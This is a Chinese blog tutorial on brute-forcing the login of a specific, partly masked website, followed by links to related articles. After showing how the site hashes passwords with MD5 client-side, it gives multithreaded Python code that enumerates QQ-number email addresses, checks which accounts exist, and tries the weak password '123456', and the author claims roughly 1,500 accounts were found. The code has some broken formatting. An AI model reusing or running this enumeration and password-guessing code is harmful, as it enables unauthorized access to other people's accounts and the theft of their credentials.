首先申明,该文章只可以用于交流学习,不可以用于其他用途,否则后果自负。

现在国家对网络安全的管理,越来越严,但是还是有一些不法网站逍遥法外,受限于国内的人力、物力,无法对这些网站进行取缔。

今天演示的这个网站,就是属于非法的网站。

首先看登陆界面。

抓取登陆信息。

使用Post Form表单的形式,进行用户名和密码的提交。接下来我们看提交的用户名和密码。

我输入的密码和用户名一致,说明该站对提交的密码进行了处理,等一会我来看,密码是怎么处理的,现在我们看服务器的返回信息。

服务器返回的是JSON,到这一步,我们就差密码了,只要知道密码是怎么生成的,就能加速对用户密码的破解了。

查看网站的脚本,发现密码是先在本地做MD5处理之后,才发送到服务器的。

到了这一步,我们也就初步知道如何对该网站进行暴力破解了。

由于现在的人们在进行网站注册的时候,都是使用QQ邮箱进行注册的,因此我们可以先构建一个QQ邮箱,先判断盖邮箱存不存在,然后我们在判断密码正不正确。

现在我们的思路理清楚了,接下来直接上干货。

user_num_low = 111111111
user_num_max = 9999999999
user_nbr = user_num_low mutex=Lock() #构造用户邮箱
def get_user_nbr():
mutex.acquire(3)
global user_nbr
user_name = '%s%s' % (str(user_nbr), '@qq.com')
user_nbr = user_nbr + 1
mutex.release()
return user_name def user_end_judge():
mutex.acquire(3)
result = False
if user_nbr > user_num_max :
result = True
else:
result = False
mutex.release()
return result def get_curr_user():
mutex.acquire(3)
global user_nbr
user_name = '%s%s' % (str(user_nbr), '@qq.com')
mutex.release()
return user_name

构造用于判断密码邮箱是否存在

user_agent = [
'Mozilla/5.0 (Windows NT 5.2) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.122 Safari/534.30',
'Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET4.0E; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C)',
'Opera/9.80 (Windows NT 5.1; U; zh-cn) Presto/2.9.168 Version/11.50',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN) AppleWebKit/533.21.1 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0E; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C)'
] def save_pwd(user, pwd,desc):
with open("resut.txt","a+") as f:
f.write('user:'+ user + ' pwd:' + pwd + " desc:" + desc + '\n') def user_test(username,password):
resp = ""
result = ""
url = "http://www.k*.htm"
pwd = password
user= username
md = hashlib.md5()
md.update(pwd)
password = md.hexdigest()
data = {'email':username,'password':password} # 设置网页编码格式,解码获取到的中文字符
encoding = "gb18030"
# 构造http请求头,设置user-agent
header = {
"User-Agent": random.choice(user_agent),
'Content-Type':'application/x-www-form-urlencoded; charset=UTF-8',
'X-Requested-With':'XMLHttpRequest'
} try:
requests.adapters.DEFAULT_RETRIES = 5
resp = requests.post(url, data=data, headers=header, timeout=335)
except requests.exceptions.ReadTimeout:
print("")
time.sleep(10)
resp = requests.post(url, data=data, headers=header, timeout=335)
except requests.exceptions.Timeout:
print("")
time.sleep(10)
resp = requests.post(url, data=data, headers=header, timeout=335)
except requests.exceptions.ConnectionError:
print("")
time.sleep(10)
resp = requests.post(url, data=data, headers=header, timeout=335)
except socket.error:
time.sleep(10)
resp = requests.post(url, data=data, headers=header, timeout=335)
except BaseException as e:
print(e)
time.sleep(10)
resp = requests.post(url, data=data, headers=header, timeout=335) resp.keep_alive = False
#print(resp.content)
try:
result = resp.content
json = resp.json()
print('邮箱:%s ,result:%s \n ' % (username,result))
if (json['message'].find('不存在') > -1):
#print('邮箱:%s 为空' % username )
return False
else:
print('邮箱: %s 存在' % username)
save_pwd(username, password, json['message'])
return True
except BaseException as e:
print("发送错误 e: %s result:%s response code:%d" % (e, result, resp.status_code ))

好了,我们获取到邮箱之后,就是要判断密码是否正确了,由于大部分人网站登陆,还是使用弱密码,我们可以到网上找一下相关的字典库,就可以直接破解了。

判断密码是否正确,我们只需要在判断邮箱存在之后,再加一个判断即可。

  if(json['message'].find('错误') > -1):
print("邮箱: %s 密码: %s ,密码错误!" % (username,pwd))
return False
else:
print('邮箱: %s 密码: %s ,登陆成功!' % (username, pwd))

由于用户和密码验证较多,单一线程工作需要较长的时间,因此我们需要用上多线程,缩短密码破解时间。

def thread_bru(): # 破解子线程函数
#while not user_end_judge():pwd_queue.empty()
while not user_end_judge():
try:
pwd = ‘123456’
user = get_user_nbr()
#print pwd_test
#if user_test(user, pwd_test):
if user_test(user, pwd):
result = pwd
print ('破解 %s 成功,密码为: %s' % (user, pwd))
break
except BaseException as e:
print("破解子线程错误: %s" % e) def brute(threads):
for i in range(threads):
t = threading.Thread(target=thread_bru)
t.start()
print('破解线程-->%s 启动' % t.ident)
while (not user_end_judge()): # 剩余口令集判断
print('\r 进度: 当前值 %d' % pwd_queue.qsize())
time.sleep(2)
#print('\n破解完毕') if __name__ == "__main__":
brute(150)

好了,初步编写完成。我们先刷完一部电影过来看看最终结果吧。

居然测试成功1500左右的邮箱,还有很多许多人是用非常简单的密码的。

有不懂的问题,加企鹅群交流吧:98556420。

如何通过Python暴力破解网站登陆密码的更多相关文章

  1. 利用python暴力破解压缩文件密码

    import randomimport sysimport zipfileimport timefrom threading import Threadfrom multiprocessing imp ...

  2. python 暴力破解密码脚本

    python 暴力破解密码脚本 以下,仅为个人测试代码,环境也是测试环境,暴力破解原理都是一样的, 假设要暴力破解登陆网站www.a.com 用户 testUser的密码, 首先,该网站登陆的验证要支 ...

  3. 分享一个撩妹、装13神技能,0基础用Python暴力破解WiFi密码

    WiFi密码Python暴力破解   Python密码破解部分截图 获取视频资料,转发此文+点击喜欢,然后获取资料请加Python交流群:580478401,就可以获取视频教程+源码 环境准备: py ...

  4. python urllib2 模拟网站登陆

    python urllib2 模拟网站登陆 1. 可用浏览器先登陆,然后查看网页源码,分析登录表单 2. 使用python urllib2,cookielib 模拟网页登录 import urllib ...

  5. 用python暴力破解压缩文件并不是万能,至少这个场景我告诉你密码你用代码也破解不了

    看到论坛上各种贴子写用python进行暴力破解的文章,于是自己也想去尝试一下,不试不知道,一试吓一跳,真的就像那句有名的”python由入门到放弃“,把论坛上别人的脚本全部自己敲一遍,运行不报错,但也 ...

  6. python暴力破解压缩包密码

    啥也不说,直接上代码 #-*-coding:utf-8-*- import zipfile #生成1-999999的数字密码表, 要是有别的密码类型,对密码表改造一下就可以了,也可以上网下载某些类型的 ...

  7. centos 7 DenyHosts 安装 防暴力破解ssh登陆

    为了减少软件扫描ssh登陆 还是用这个比较好点  默认端口号22 也要改 登陆密码也不要使用 弱口令 123456 这样的 Description DenyHosts is a python prog ...

  8. 暴力破解ZIP文件密码

    Python 的标准库提供了 ZIP 文件的提取压缩模块 zipfile,现在让我们试着用这个模块,暴力破解出加密的 ZIP 文件!我们可以用 extractall()这个函数抽取文件,密码正确则返回 ...

  9. hydra暴力破解ssh服务器密码

    概述 我都没想到,第一次暴力破解服务器密码.竟然是对自己的单位服务器出手..囧,因为还没来得及找测试部要来服务器登录密码,测试部负责人已经下班走了.后来又联系不上,这要更新代码,怎么办..于是就对测试 ...

随机推荐

  1. Vue-cli 配置开发环境让测试服务器监听所有IP

    //config/inex.js // Various Dev Server settingshost: '0.0.0.0', // can be overwritten by process.env ...

  2. <td> 行高多层设置的问题

    在一个table中,设置了class,并且对应的样式设置了td的高度时,在其嵌套的table中的td高度不能设置大于父table的td的高度. 只有一种方法可以设置,如下: <table wid ...

  3. iOS与PHP/Android AES128 ECB NoPadding加密

    前言 谈谈AES加密,网上有很多的版本,当我没有真正在加密安全问题前,总以为百度出来某个AES加密算法就可以直接使用,实际上当我真正要做加密时,遇到了很多的坑,原来不是拿过来就能用的.写下本篇文章,记 ...

  4. 【转载】foreach+Control.Controls无法一次性移除所有子控件解决方法

    博客转载地址:http://www.mzwu.com/article.asp?id=2254 //在panel1中添加20个Button ; ; ; i <= ; i++) { ) row++; ...

  5. 2081.09.22 Kuma(非旋treap)

    描述 有N张卡片,编号从0到n-1, 刚开始从0到n-1按顺序排好. 现有一个操作, 对于p. l,表示从第p张卡片之后的l张卡片拿到 最前面. 例如n=7的时候, 刚开始卡片序列为0 1 2 3 4 ...

  6. 2018.07.09 顺序对齐(线性dp)

    顺序对齐 题目描述 考虑两个字符串右对齐的最佳解法.例如,有一个右对齐方案中字符串是 AADDEFGGHC 和 ADCDEGH. AAD~DEFGGHC ADCDE~~GH~ 每一个数值匹配的位置值 ...

  7. Linux命令:ps

    Linux中的ps命令是Process Status的缩写.ps命令用来列出系统中当前运行的那些进程.ps命令列出的是当前那些进程的快照,就是执行ps命令的那个时刻的那些进程,如果想要动态的显示进程信 ...

  8. UESTC 486 Good Morning (水题+坑!)

    题意:给你一行字符串,让你找其中蕴含的“good morning"的次数. 析:看起来很水么,多简单,只有统计一下其中字母的出现的次数,然后除以相应的个数. 但是很不幸的是WA,而且是在te ...

  9. Yarn上运行spark-1.6.0

    目录 目录 1 1. 约定 1 2. 安装Scala 1 2.1. 下载 2 2.2. 安装 2 2.3. 设置环境变量 2 3. 安装Spark 2 3.1. 下载 2 3.2. 安装 2 3.3. ...

  10. MSDN Webcast 跟我一起从零开始学WCF系列课程

    系列课程 >跟我一起从零开始学WCF系列课程   跟我一起从零开始学WCF系列课程(1):WCF概述 (Level 200)   讲 师:徐长龙    课程简介:从 本堂课开始我们将开启一个新的 ...